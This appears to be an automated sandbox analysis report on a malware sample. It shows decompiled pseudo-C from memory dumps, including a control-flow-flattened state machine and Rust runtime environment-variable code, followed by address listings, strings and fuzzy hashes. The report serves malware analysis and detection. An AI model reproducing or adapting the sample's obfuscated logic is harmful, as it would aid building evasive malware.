									if(_t788 == 0xdb0117) {
										E00FBB1A5(_v252, _v364, _v100, _v132);
										_t788 = 0x83c26da;
										while(1) {
											L1:
											_t805 = 0xc44443f;
											goto L2;
										}
									} else {
										if(_t788 == _t892) {
											_t777 = E00FBEDED(_v100);
											_t788 = 0xdb0117;
											__eflags = _t777;
											_t896 =  !=  ? 1 : _t896;
											while(1) {
												L1:
												_t805 = 0xc44443f;
												goto L2;
											}
										} else {
											if(_t788 == 0x6b38845) {
												_t788 = 0xce9f3c5;
												continue;
											} else {
												if(_t788 == 0x83c26da) {
													E00FC2D18(_v404, _v380, _v300, _v108);
													_t788 = _t888;
													while(1) {
														L1:
														_t805 = 0xc44443f;
														goto L2;
													}
												} else {
													if(_t788 == 0x9c5cad5) {
														_push(_v420);
														_push(_v224);
														_t779 = E00FBCD35(0xfa12a0, _v204, __eflags);
														_t893 = _t779;
														_t780 = 0x48;
														_v104 = _t780;
														_t783 = E00FBDAC1(_v116, _v260, _v316,  &_v104, _v208, _v324, _v216, _v332, _v196,  &_v76, _t779, _t780);
														_t899 = _t897 + 0x34;
														__eflags = _t783 - _v356;
														if(_t783 != _v356) {
															_t788 = _t888;
														} else {
															E00FC2C81(_v188,  &_v68, _v140,  *0xfc5220, _v308, 0x40);
															_t899 = _t899 + 0x10;
															_t788 = 0xd6124b9;
														}
														E00FB629F(_v180, _t893, _v220, _v124, _v412);
														L16:
														_t897 = _t899 + 0xc;
														L17:
														_t892 = 0x5467895;
														L36:
														_t867 = 0xa0c1eae;
														_t805 = 0xc44443f;
														_t756 = 0xb2c3b3d;
														goto L37;
													} else {
														if(_t788 != _t867) {
															goto L37;
														} else {
															_t614 =  &_v116; // 0x6a655a
															E00FA7460(_v340, _v108,  &_v100, _v312,  *_t614, _v388, _v428);
															_t897 = _t897 + 0x14;
															_t788 =  ==  ? _t892 : 0x83c26da;
															while(1) {
																L1:
																_t805 = 0xc44443f;
																L2:
																_t756 = 0xb2c3b3d;
																_t867 = 0xa0c1eae;
																goto L3;
															}
														}
													}
												}
											}
										}
									}
								}
								L29:
								return _t896;
							}
							__eflags = _t788 - _t805;
							if(_t788 == _t805) {
								_t709 =  &_v116; // 0x6a655a
								_t757 = E00FB3C24(_v336, _v376,  *_t709, _v160, _v344);
								_t897 = _t897 + 0xc;
								__eflags = _t757 - _v368;
								if(__eflags != 0) {
									_t788 = _t888;
									goto L36;
								} else {
									_t788 = 0x9c5cad5;
									goto L1;
								}
							} else {
								__eflags = _t788 - 0xce9f3c5;
								if(__eflags == 0) {
									_push(_v296);
									_push(_v128);
									_t759 = E00FBCD35(0xfa1360, _v288, __eflags);
									_push(_v148);
									_push(_v280);
									__eflags = E00FBD96C(_v184, _v192,  &_v112, _v200, _v272, E00FBCD35(0xfa1250, _v120, __eflags), _t759) - _v392;
									_t788 =  ==  ? 0xb2c3b3d : 0x2504c9b;
									E00FB629F(_v248, _t759, _v176, _v256, _v264);
									_t899 = _t897 + 0x30;
									E00FB629F(_v168, _t760, _v232, _v384, _v240);
									_t888 = 0xdca4c76;
									goto L16;
								} else {
									__eflags = _t788 - 0xd6124b9;
									if(__eflags == 0) {
										_push(_v212);
										_push(_v144);
										_t766 = E00FBCD35(0xfa12a0, _v268, __eflags);
										_pop(_t831);
										_t671 =  &_v108; // 0x6a655a
										__eflags = E00FB9F1C(_v136,  *_v96, _t831,  *((intOrPtr*)(_v96 + 4)), _v164, _v112, _v416, _v320, _t766, _v236, _v424, _t671) - _v408;
										_t684 =  &_v156; // 0x6a655a
										_t788 =  ==  ? 0xa0c1eae : _t888;
										E00FB629F(_v304, _t766,  *_t684, _v400, _v348);
										_t897 = _t897 + 0x34;
										goto L17;
									} else {
										__eflags = _t788 - _t888;
										if(_t788 == _t888) {
											E00FC2D18(_v276, _v432, _v372, _v116);
											_t788 = 0xfbf5f53;
											while(1) {
												L1:
												_t805 = 0xc44443f;
												goto L2;
											}
										} else {
											__eflags = _t788 - 0xfbf5f53;
											if(_t788 != 0xfbf5f53) {
												goto L37;
											} else {
												E00FB4827(_v112, _v328, _v352, _v152, _v360);
											}
										}
									}
								}
							}
							goto L29;
							L37:
							__eflags = _t788 - 0x2504c9b;
						} while (__eflags != 0);
						goto L29;
					}
				}
			}

0x00fb744b
0x00fb7463
0x00fb746a
0x00fb746f
0x00fb7472
0x00fb7473
0x00fb7475
0x00fb7478
0x00fb747d
0x00fb747e
0x00fb7489
0x00fb7494
0x00fb749f
0x00fb74a7
0x00fb74ac
0x00fb74bc
0x00fb74c0
0x00fb74c8
0x00fb74d3
0x00fb74db
0x00fb74e6
0x00fb74f1
0x00fb7507
0x00fb750e
0x00fb7516
0x00fb751d
0x00fb7528
0x00fb752f
0x00fb7534
0x00fb753d
0x00fb7548
0x00fb7554
0x00fb7559
0x00fb755f
0x00fb7567
0x00fb756a
0x00fb756e
0x00fb7576
0x00fb7581
0x00fb758c
0x00fb7597
0x00fb75a2
0x00fb75aa
0x00fb75af
0x00fb75b7
0x00fb75bf
0x00fb75c7
0x00fb75cf
0x00fb75d7
0x00fb75df
0x00fb75e7
0x00fb75ef
0x00fb75f7
0x00fb75ff
0x00fb7607
0x00fb760c
0x00fb7614
0x00fb7621
0x00fb762c
0x00fb7637
0x00fb7642
0x00fb764a
0x00fb7652
0x00fb765a
0x00fb7662
0x00fb766a
0x00fb7675
0x00fb768a
0x00fb768d
0x00fb7694
0x00fb769f
0x00fb76aa
0x00fb76b5
0x00fb76c0
0x00fb76d3
0x00fb76da
0x00fb76e5
0x00fb76f0
0x00fb76fb
0x00fb7703
0x00fb770a
0x00fb7715
0x00fb772b
0x00fb773a
0x00fb773d
0x00fb7744
0x00fb774f
0x00fb775a
0x00fb7762
0x00fb776d
0x00fb7778
0x00fb7783
0x00fb778e
0x00fb77a4
0x00fb77ab
0x00fb77b6
0x00fb77c1
0x00fb77cc
0x00fb77d7
0x00fb77e2
0x00fb77ed
0x00fb7800
0x00fb7801
0x00fb7808
0x00fb7813
0x00fb7827
0x00fb782e
0x00fb7839
0x00fb7844
0x00fb784f
0x00fb785a
0x00fb7865
0x00fb7878
0x00fb787f
0x00fb788a
0x00fb7895
0x00fb78a0
0x00fb78ab
0x00fb78b6
0x00fb78c1
0x00fb78cc
0x00fb78d9
0x00fb78e4
0x00fb78f3
0x00fb78f6
0x00fb7900
0x00fb7901
0x00fb7907
0x00fb790f
0x00fb7917
0x00fb7922
0x00fb792d
0x00fb7938
0x00fb7943
0x00fb794e
0x00fb7959
0x00fb7964
0x00fb796f
0x00fb7984
0x00fb798b
0x00fb7996
0x00fb799e
0x00fb79a3
0x00fb79a8
0x00fb79b0
0x00fb79b8
0x00fb79c3
0x00fb79ce
0x00fb79d6
0x00fb79e1
0x00fb79e9
0x00fb79f1
0x00fb79f6
0x00fb79fe
0x00fb7a06
0x00fb7a0b
0x00fb7a13
0x00fb7a18
0x00fb7a20
0x00fb7a28
0x00fb7a2d
0x00fb7a35
0x00fb7a3d
0x00fb7a48
0x00fb7a53
0x00fb7a5e
0x00fb7a69
0x00fb7a74
0x00fb7a7c
0x00fb7a87
0x00fb7a8f
0x00fb7a97
0x00fb7a9f
0x00fb7aa7
0x00fb7aaf
0x00fb7aba
0x00fb7ac2
0x00fb7acd
0x00fb7ad8
0x00fb7ae3
0x00fb7af4
0x00fb7af5
0x00fb7afc
0x00fb7b07
0x00fb7b12
0x00fb7b1d
0x00fb7b28
0x00fb7b35
0x00fb7b49
0x00fb7b50
0x00fb7b58
0x00fb7b63
0x00fb7b70
0x00fb7b74
0x00fb7b7c
0x00fb7b84
0x00fb7b8f
0x00fb7b97
0x00fb7ba2
0x00fb7bad
0x00fb7bb8
0x00fb7bc3
0x00fb7bce
0x00fb7bd9
0x00fb7be4
0x00fb7bef
0x00fb7c02
0x00fb7c09
0x00fb7c14
0x00fb7c1f
0x00fb7c2a
0x00fb7c35
0x00fb7c40
0x00fb7c4b
0x00fb7c56
0x00fb7c61
0x00fb7c6c
0x00fb7c77
0x00fb7c82
0x00fb7c8a
0x00fb7c8f
0x00fb7c97
0x00fb7c9c
0x00fb7ca4
0x00fb7caf
0x00fb7cc2
0x00fb7cc9
0x00fb7cd4
0x00fb7cdf
0x00fb7cea
0x00fb7cf5
0x00fb7d00
0x00fb7d08
0x00fb7d13
0x00fb7d1e
0x00fb7d29
0x00fb7d34
0x00fb7d3f
0x00fb7d4a
0x00fb7d55
0x00fb7d60
0x00fb7d6b
0x00fb7d73
0x00fb7d7e
0x00fb7d89
0x00fb7d94
0x00fb7d9f
0x00fb7daa
0x00fb7db5
0x00fb7dbd
0x00fb7dc5
0x00fb7dca
0x00fb7dd2
0x00fb7dda
0x00fb7de5
0x00fb7df0
0x00fb7dfb
0x00fb7e06
0x00fb7e19
0x00fb7e20
0x00fb7e2b
0x00fb7e33
0x00fb7e43
0x00fb7e48
0x00fb7e4c
0x00fb7e54
0x00fb7e5c
0x00fb7e64
0x00fb7e6c
0x00fb7e74
0x00fb7e7c
0x00fb7e84
0x00fb7e8c
0x00fb7e94
0x00fb7e9c
0x00fb7ea4
0x00fb7eac
0x00fb7eb1
0x00fb7eb9
0x00fb7ec1
0x00fb7ec9
0x00fb7ece
0x00fb7ed3
0x00fb7edb
0x00fb7ee3
0x00fb7eee
0x00fb7ef6
0x00fb7f01
0x00fb7f0c
0x00fb7f14
0x00fb7f1c
0x00fb7f24
0x00fb7f2c
0x00fb7f34
0x00fb7f3f
0x00fb7f47
0x00fb7f52
0x00fb7f61
0x00fb7f62
0x00fb7f66
0x00fb7f6b
0x00fb7f73
0x00fb7f7b
0x00fb7f88
0x00fb7f8c
0x00fb7f91
0x00fb7f99
0x00fb7fa1
0x00fb7fac
0x00fb7fc2
0x00fb7fc9
0x00fb7fd4
0x00fb7fdf
0x00fb7fea
0x00fb7ff5
0x00fb8000
0x00fb8008
0x00fb800d
0x00fb8012
0x00fb8017
0x00fb801f
0x00fb802d
0x00fb8031
0x00fb8035
0x00fb803d
0x00fb8045
0x00fb804d
0x00fb805a
0x00fb805e
0x00fb8066
0x00fb8071
0x00fb807c
0x00fb8087
0x00fb808c
0x00fb8094
0x00fb8099
0x00fb80a1
0x00fb80a9
0x00fb80b1
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00fb80be
0x00fb80be
0x00fb80be
0x00fb80c3
0x00fb80c8
0x00fb80c8
0x00fb80c8
0x00fb80c8
0x00fb80ca
0x00000000
0x00000000
0x00fb80d0
0x00fb82c7
0x00fb82e9
0x00fb82f5
0x00fb82f8
0x00fb82ff
0x00fb8304
0x00000000
0x00fb80d6
0x00fb80dc
0x00fb829c
0x00fb82a3
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00000000
0x00fb80b9
0x00fb80e2
0x00fb80e4
0x00fb826c
0x00fb8273
0x00fb8279
0x00fb827b
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00000000
0x00fb80b9
0x00fb80ea
0x00fb80f0
0x00fb825b
0x00000000
0x00fb80f6
0x00fb80fc
0x00fb824d
0x00fb8254
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00000000
0x00fb80b9
0x00fb8102
0x00fb8108
0x00fb8155
0x00fb815e
0x00fb816c
0x00fb8173
0x00fb8175
0x00fb8178
0x00fb81c7
0x00fb81cc
0x00fb81cf
0x00fb81d3
0x00fb8208
0x00fb81d5
0x00fb81f9
0x00fb81fe
0x00fb8201
0x00fb8201
0x00fb8225
0x00fb822a
0x00fb822a
0x00fb822d
0x00fb822d
0x00fb853c
0x00fb853c
0x00fb8541
0x00fb8546
0x00000000
0x00fb810a
0x00fb810c
0x00000000
0x00fb8112
0x00fb8121
0x00fb813e
0x00fb8143
0x00fb814d
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00fb80be
0x00fb80be
0x00fb80c3
0x00000000
0x00fb80c3
0x00fb80b9
0x00fb810c
0x00fb8108
0x00fb80fc
0x00fb80f0
0x00fb80e4
0x00fb80dc
0x00fb835f
0x00fb8369
0x00fb8369
0x00fb830c
0x00fb830e
0x00fb8514
0x00fb8522
0x00fb8527
0x00fb852a
0x00fb852e
0x00fb853a
0x00000000
0x00fb8530
0x00fb8530
0x00000000
0x00fb8530
0x00fb8314
0x00fb8314
0x00fb831a
0x00fb8432
0x00fb843e
0x00fb844c
0x00fb8451
0x00fb845f
0x00fb84a6
0x00fb84b4
0x00fb84d3
0x00fb84d8
0x00fb84f6
0x00fb84fb
0x00000000
0x00fb8320
0x00fb8320
0x00fb8326
0x00fb8391
0x00fb839d
0x00fb83ab
0x00fb83b1
0x00fb83b4
0x00fb8407
0x00fb8414
0x00fb8422
0x00fb8425
0x00fb842a
0x00000000
0x00fb8328
0x00fb8328
0x00fb832a
0x00fb8380
0x00fb8387
0x00fb80b9
0x00fb80b9
0x00fb80b9
0x00000000
0x00fb80b9
0x00fb832c
0x00fb832c
0x00fb8332
0x00000000
0x00fb8338
0x00fb8355
0x00fb835a
0x00fb8332
0x00fb832a
0x00fb8326
0x00fb831a
0x00000000
0x00fb854b
0x00fb854b
0x00fb854b
0x00000000
0x00fb8557
0x00fb80be

Strings

M, xrefs: 00FB7BCE
Zej, xrefs: 00FB8121
:K, xrefs: 00FB76FB
K%, xrefs: 00FB7E64
KP$?, xrefs: 00FB7C6C
-V, xrefs: 00FB7EB9
f9(, xrefs: 00FB7637
L3, xrefs: 00FB7A0B
SP, xrefs: 00FB7DAA
*l, xrefs: 00FB7938
z2, xrefs: 00FB7B58
Qx~, xrefs: 00FB7528
u, xrefs: 00FB75AF
d, xrefs: 00FB790F
c, xrefs: 00FB7D73
e/, xrefs: 00FB7EF6
6, xrefs: 00FB7CAF
|L, xrefs: 00FB758C
O#Q, xrefs: 00FB7CA4
x&, xrefs: 00FB8071
p<, xrefs: 00FB7783

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: SP$*l$:K$KP$?$M$O#Q$Qx~$Zej$d$e/$f9($p<$x&$z2$|L$ K%$-V$6$L3$u$c
API String ID: 0-4041043011
Opcode ID: c02882b5ef315461c23e7c58aaa0334c6c06a47ca7dfb624dca69f0629bc317d
Instruction ID: 3fec173175ce365bc9fdddec726d0ec4e9298cfa82ab749335be79f1f5d783ad
Opcode Fuzzy Hash: c02882b5ef315461c23e7c58aaa0334c6c06a47ca7dfb624dca69f0629bc317d
Instruction Fuzzy Hash: AF82F0715093808BD7B8CF65C98AB8BBBE1FBC4354F10891DE1CA96260DBB58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBD530, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6EDBD530(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B80;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6ee0adc8; // 0x1360000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6EDD7370( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6edfd2be;
							if(_t264 != 0x6edfd2be) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6edfd2be;
									if(_t229 == 0x6edfd2be) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6edfd2be;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6edfd2be;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6edfd2be;
											if(_t264 == 0x6edfd2be) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6edfd2be;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6edfd2be;
												if(_t273 == 0x6edfd2be) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6edfd2be;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6EDD7370( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6EDCC310(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6edfd0bc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6EDD7370( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6EDC0EC0(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6ee0adc8, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6ee0adc8, 0, _t167);
													}
													HeapFree( *0x6ee0adc8, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6ee0adc8, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6edfdec8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6ee0adc8, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6ee0adc8, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6ee0adc8, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6EDD6C30(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6EDD6DB0(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6edfded0);
						asm("ud2");
						__eflags =  &_a8;
						E6EDB4AA0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6EDBD420(_t263);
					} else {
						 *0x6ee0adc8 = _t142;
						goto L3;
					}
				}
				L96:
			}

0x6edbd530
0x6edbd530
0x6edbd530
0x6edbd533
0x6edbd534
0x6edbd535
0x6edbd536
0x6edbd53c
0x6edbd53f
0x6edbd546
0x6edbd54d
0x6edbd55a
0x6edbd55d
0x6edbd563
0x6edbd56a
0x6edbd57e
0x6edbd583
0x6edbd58a
0x00000000
0x6edbd590
0x6edbd590
0x6edbd596
0x6edbd59b
0x6edbd59d
0x6edbd5a2
0x6edbd5a8
0x6edbd5b2
0x6edbd5bc
0x6edbd5ed
0x6edbd5f0
0x6edbd5f3
0x00000000
0x00000000
0x6edbd5f5
0x6edbd5fc
0x6edbd604
0x6edbd5df
0x6edbd5df
0x6edbd5e2
0x6edbd5e6
0x6edbd5e7
0x00000000
0x6edbd606
0x6edbd63a
0x6edbd644
0x6edbd647
0x6edbd64e
0x6edbd659
0x6edbd662
0x6edbd66a
0x6edbd66d
0x6edbd671
0x6edbd676
0x6edbd5d0
0x6edbd5d6
0x6edbd5d9
0x6edbd5dc
0x00000000
0x6edbd5dc
0x6edbd610
0x6edbd616
0x6edbd618
0x6edbd61e
0x6edbd621
0x6edbd624
0x6edbd627
0x6edbd629
0x6edbd681
0x6edbd68a
0x6edbd68c
0x6edbd6b3
0x6edbd6bb
0x6edbd6be
0x6edbd6c3
0x6edbd6c6
0x00000000
0x6edbd6c8
0x6edbd6c8
0x6edbd6cc
0x6edbd6d2
0x6edbd6d4
0x6edbd6da
0x00000000
0x6edbd6e0
0x00000000
0x6edbd6e0
0x6edbd6da
0x6edbd68e
0x6edbd68e
0x6edbd692
0x6edbd695
0x6edbd698
0x6edbd69b
0x6edbd6eb
0x6edbd6ed
